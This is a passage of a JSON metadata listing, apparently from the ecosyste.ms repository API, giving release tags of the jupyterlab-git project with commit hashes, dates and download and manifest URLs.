c0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.50.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.50.0rc0/manifests"},{"name":"v0.50.0a2","sha":"d091abb893e42efa45d519c5ed472ee04c3826ad","kind":"tag","published_at":"2023-10-30T10:49:50.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.50.0a2","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.50.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.50.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.50.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.50.0a2/manifests"},{"name":"v0.50.0a1","sha":"805a27f19313baff5e85c6f96aa8390bda86a9dc","kind":"tag","published_at":"2023-10-26T13:12:32.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.50.0a1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.50.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.50.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.50.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.50.0a1/manifests"},{"name":"v0.50.0a0","sha":"a8cff2b6b706b8d9fc6f1eb5055e3cdfc949386b","kind":"tag","published_at":"2023-10-24T13:52:56.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.50.0a0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.50.0a0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.50.0a0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.50.0a0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.50.0a0/manifests"},{"name":"v0.44.0","sha":"792f47e0f3f437647a5e338715b08686ec954109","kind":"tag","published_at":"2023-10-24T07:52:26.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.44.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.44.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.44.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.44.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.44.0/manifests"},{"name":"v0.43.0","sha":"a18e32f0f64fdd097211205090ea723ba62fc70c","kind":"tag","published_at":"2023-09-25T14:00:02.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.43.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.43.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.43.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.43.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.43.0/manifests"},{"name":"v0.42.0","sha":"17a2895992b2b32d8207afe6f07c681bdb553315","kind":"tag","published_at":"2023-08-10T12:17:45.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.42.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.42.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.42.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.42.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.42.0/manifests"},{"name":"v0.42.0rc0","sha":"50df3690c2fa554c234398b45ff4e7671b90fa53","kind":"tag","published_at":"2023-06-19T12:54:54.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.42.0rc0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.42.0rc0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.42.0rc0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.42.0rc0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.42.0rc0/manifests"},{"name":"v0.41.0","sha":"0ddaf8dc7068d19a9c94e8645a5f8c467e70e777","kind":"commit","published_at":"2022-12-15T13:23:49.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.41.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.41.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.41.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.41.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.41.0/manifests"},{"name":"v0.40.1","sha":"53f5c2f99c1fb0d951839cbc356a4e63e3a6d01c","kind":"commit","published_at":"2022-11-28T16:45:13.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.40.1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.40.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.40.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.40.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.40.1/manifests"},{"name":"v0.40.0","sha":"dc1f90630168b5cbfc04628e60c4222e035e91bc","kind":"commit","published_at":"2022-11-28T10:00:27.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.40.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.40.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.40.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.40.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.40.0/manifests"},{"name":"v0.39.3.post1","sha":"8de529268128b8a91d33528f14623ed9bc1828c1","kind":"commit","published_at":"2022-09-30T14:19:08.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.39.3.post1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.39.3.post1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.39.3.post1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.39.3.post1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.39.3.post1/manifests"},{"name":"v0.39.3","sha":"91b4111b90ebe0b59f4db6718388ca3de5102d1d","kind":"commit","published_at":"2022-09-30T08:53:51.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.39.3","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.39.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.39.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.39.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.39.3/manifests"},{"name":"v0.39.2","sha":"698efa2db4e6ad43b598383048986c6b8e8580f2","kind":"commit","published_at":"2022-09-06T13:24:22.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.39.2","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.39.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.39.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.39.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.39.2/manifests"},{"name":"v0.39.1","sha":"a08a929188b3f05dbd169f4b71668c534c12e87c","kind":"commit","published_at":"2022-08-29T07:03:07.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.39.1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.39.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.39.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.39.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.39.1/manifests"},{"name":"v0.39.0","sha":"8be38bcdc3601406925da2fa3030a2ec2d2b1283","kind":"commit","published_at":"2022-08-19T13:46:20.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.39.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.39.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.39.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.39.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.39.0/manifests"},{"name":"v0.38.0","sha":"38702e0307acd9d7340da30e76b800cfc4546612","kind":"commit","published_at":"2022-07-28T14:50:02.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.38.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.38.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.38.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.38.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.38.0/manifests"},{"name":"v0.37.1","sha":"bd0f3969a3de0f8c2f7ea4249e0a396ddaaf5c22","kind":"commit","published_at":"2022-04-26T06:26:55.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.37.1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.37.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.37.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.37.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.37.1/manifests"},{"name":"v0.37.0","sha":"03ae7b6034a0a2e1fd3e04f92baa4716c7f59bf8","kind":"commit","published_at":"2022-04-25T13:49:32.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.37.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.37.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.37.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.37.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.37.0/manifests"},{"name":"v0.36.0","sha":"d2a5a5d459618803cf9233c5e052c443232dc2ca","kind":"commit","published_at":"2022-03-23T09:41:26.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.36.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.36.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.36.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.36.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.36.0/manifests"},{"name":"v0.35.0","sha":"640feab34916340359fa3531a01289588c8b9e36","kind":"commit","published_at":"2022-03-22T12:07:19.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.35.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.35.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.35.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.35.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.35.0/manifests"},{"name":"v0.34.2","sha":"1bc9d3bdd8a8039e2c44f3b6770113d4c2fe073b","kind":"commit","published_at":"2022-01-14T16:34:15.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.34.2","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.34.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.34.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.34.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.34.2/manifests"},{"name":"v0.34.1","sha":"b0f4765c12c95b140b977cd9bb0e9e05b2d90462","kind":"commit","published_at":"2022-01-10T08:07:22.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.34.1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.34.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.34.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.34.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.34.1/manifests"},{"name":"v0.34.0","sha":"961e1213863f2faed4554a68c6cf0c317cce0f23","kind":"commit","published_at":"2021-11-13T09:38:30.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.34.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.34.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.34.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.34.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.34.0/manifests"},{"name":"v0.33.0","sha":"97841047fe5ccb01f04c46dddb049ff089da982a","kind":"commit","published_at":"2021-10-08T07:21:29.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.33.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.33.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.33.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.33.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.33.0/manifests"},{"name":"v0.32.4","sha":"83193c4b02bdee9ed05ad0e1250d16d7380efbff","kind":"commit","published_at":"2021-09-16T08:47:54.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.32.4","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.32.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.32.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.32.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.32.4/manifests"},{"name":"v0.32.3","sha":"361a753f589ec5e83993187ec1267cab53052cf5","kind":"commit","published_at":"2021-09-12T09:17:13.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.32.3","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.32.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.32.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.32.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.32.3/manifests"},{"name":"v0.32.2","sha":"0907a0d6579e7c104cb9803b7f18eab446cc5d2f","kind":"commit","published_at":"2021-08-19T09:36:05.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.32.2","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.32.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.32.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.32.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.32.2/manifests"},{"name":"v0.32.1","sha":"fb5334120fd46a81f2687993116889186a8ebcb8","kind":"commit","published_at":"2021-08-16T14:48:42.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.32.1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.32.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.32.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.32.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.32.1/manifests"},{"name":"v0.32.0","sha":"4b9ad43a796883dceb113983becccf0b3c8512e2","kind":"commit","published_at":"2021-08-04T12:03:48.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.32.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.32.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.32.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.32.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.32.0/manifests"},{"name":"v0.31.0","sha":"a9151840ed66b0e73ace7cda7c4db5c766fdd787","kind":"commit","published_at":"2021-07-08T11:56:05.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.31.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.31.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.31.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.31.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.31.0/manifests"},{"name":"v0.31.0a0","sha":"bf8c603d3f65774788f2ecb73e68e7016c5a847c","kind":"commit","published_at":"2021-06-10T06:19:29.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.31.0a0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.31.0a0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.31.0a0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.31.0a0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.31.0a0/manifests"},{"name":"v0.30.1","sha":"ef622d2ce8d9b5cfb866d1712f6c5dc3f251f8b4","kind":"commit","published_at":"2021-05-03T06:29:08.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.30.1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.30.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.30.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.30.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.30.1/manifests"},{"name":"v0.30.0","sha":"b582faf9a46b5e1f20ad1645f83fb5ba09e0ec91","kind":"commit","published_at":"2021-04-17T12:44:24.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.30.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.30.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.30.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.30.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.30.0/manifests"},{"name":"v0.30.0b3","sha":"8828c77412beba90977f1223529b9e4e1ace8c56","kind":"commit","published_at":"2021-04-03T14:57:57.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.30.0b3","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.30.0b3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.30.0b3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.30.0b3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.30.0b3/manifests"},{"name":"v0.24.0","sha":"b0105716d7e444391607f05c0891bf6a94c6fd01","kind":"commit","published_at":"2021-04-03T11:55:39.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.24.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.24.0/manifests"},{"name":"v0.30.0b2","sha":"fd22f2d4c5f34545d6f8dcb3939117ecc73d0e47","kind":"commit","published_at":"2021-02-15T19:35:53.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.30.0b2","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.30.0b2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.30.0b2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.30.0b2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.30.0b2/manifests"},{"name":"v0.30.0b1.post1","sha":"c5ed107c369c1d6299e8caed317bbe031f906a2f","kind":"commit","published_at":"2021-01-20T09:00:13.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.30.0b1.post1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.30.0b1.post1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.30.0b1.post1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.30.0b1.post1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.30.0b1.post1/manifests"},{"name":"v0.30.0b1","sha":"152317d4bc079dc9a62ea75b12985e1bd051fafb","kind":"commit","published_at":"2021-01-20T08:47:26.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.30.0b1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.30.0b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.30.0b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.30.0b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.30.0b1/manifests"},{"name":"v0.23.3","sha":"c5ce0a38faba1f69a5c0315ab69c6272bf308594","kind":"commit","published_at":"2020-12-24T10:34:55.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.23.3","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.23.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.23.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.23.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.23.3/manifests"},{"name":"v0.23.2","sha":"6043cf33ce1e5d02a66399f099ea0e4ae0a15f9a","kind":"commit","published_at":"2020-11-26T12:50:27.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.23.2","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.23.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.23.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.23.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.23.2/manifests"},{"name":"v0.23.1","sha":"e9b48f80097b22bca898cb523423312156767aab","kind":"commit","published_at":"2020-11-12T10:26:40.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.23.1","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.23.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jupyterlab/jupyterlab-git@v0.23.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.23.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/tags/v0.23.1/manifests"},{"name":"v0.23.0","sha":"582ef5af67b8363b316dc29b92d935ed208ffaad","kind":"commit","published_at":"2020-11-11T17:25:45.000Z","download_url":"https://codeload.github.com/jupyterlab/jupyterlab-git/tar.gz/v0.23.0","html_url":"https://github.com/jupyterlab/jupyterlab-git/releases/tag/v0.23.0","dependencies_parsed_at":null,"